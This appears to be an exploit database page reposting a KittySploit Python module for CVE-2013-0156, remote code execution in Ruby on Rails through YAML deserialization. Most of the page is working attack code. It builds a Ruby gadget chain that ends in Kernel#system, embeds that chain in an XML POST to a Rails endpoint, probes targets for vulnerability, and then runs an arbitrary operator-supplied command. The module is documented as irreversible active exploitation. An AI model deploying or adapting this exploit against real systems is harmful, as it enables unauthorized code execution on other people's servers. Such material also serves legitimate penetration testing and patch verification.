Lucene search
+L

Ruby on Rails YAML Deserialization RCE (CVE-2013-0156)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Remote code execution in Rails via YAML deserialization of XML requests.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ruby on Rails XML/YAML deserialization RCE (CVE-2013-0156)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Ruby on Rails YAML Deserialization RCE (CVE-2013-0156)',
        'description': (
            'Exploits CVE-2013-0156 in Rails 3.x: XML requests with type=yaml deserialize '
            'attacker-controlled YAML into Ruby objects, reaching Kernel#system via Gem gadgets.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2013-0156'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2013-0156',
        ],
        'tags': ['rails', 'ruby', 'yaml', 'deserialization', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2013_0156_detect'],
            },
        },
    }

    search_path = OptString('/posts/search', 'Rails XML search endpoint', required=False, advanced=True)

    def _yaml_gadget(self, cmd: str) -> str:
        safe = str(cmd).replace("'", "\\'")
        return (
            '--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n'
            '? test: !ruby/object:Gem::Requirement\n'
            '  requirements:\n'
            '    !ruby/object:Gem::Package::TarReader\n'
            '    io: !ruby/object:Net::BufferedIO\n'
            '      io: !ruby/object:Gem::Package::TarReader::Entry\n'
            '        read: 0\n'
            '        header: "abc"\n'
            '      debug_output: !ruby/object:Net::WriteAdapter\n'
            '        socket: !ruby/object:Gem::RequestSet\n'
            '          sets: !ruby/object:Net::WriteAdapter\n'
            '            socket: !ruby/module \'Kernel\'\n'
            '            method: :system\n'
            f"            args: [ '{safe}' ]\n"
        )

    def _post_yaml(self, cmd: str) -> bool:
        path = str(self.search_path or '/posts/search').strip() or '/posts/search'
        if not path.startswith('/'):
            path = '/' + path
        body = (
            '<?xml version="1.0" encoding="UTF-8"?>\r\n'
            '<probe type="yaml"><![CDATA[\r\n'
            f'{self._yaml_gadget(cmd)}\r\n'
            ']]></probe>'
        )
        r = self.http_request(
            method='POST',
            path=path,
            data=body,
            headers={'Content-Type': 'application/xml'},
            allow_redirects=False,
        )
        return bool(r)

    def execute(self, cmd: str) -> str:
        self._post_yaml(cmd)
        return ''

    def check(self):
        path = str(self.search_path or '/posts/search').strip() or '/posts/search'
        probe = (
            '<?xml version="1.0" encoding="UTF-8"?>\r\n'
            '<probe type="yaml"><![CDATA[\r\n--- !ruby/object:\x00\r\n]]></probe>'
        )
        r = self.http_request(
            method='POST',
            path=path if path.startswith('/') else f'/{path}',
            data=probe,
            headers={'Content-Type': 'application/xml'},
            allow_redirects=False,
        )
        if r and r.status_code == 200:
            return {
                'vulnerable': True,
                'reason': 'Rails YAML deserialization surface (CVE-2013-0156)',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'Rails YAML probe failed', 'confidence': 'medium'}

    def check_execute(self):
        return self.check().get('vulnerable', False)

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        cmd = str(getattr(self, 'command', '') or '').strip() or str(self.payload or '').strip() or 'id'
        print_status('Sending YAML gadget chain (blind — verify via listener/marker)')
        self._post_yaml(cmd)
        self.vulnerable()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.8High risk
Vulners AI Score8.8
CVSS 27.5
EPSS0.99449
2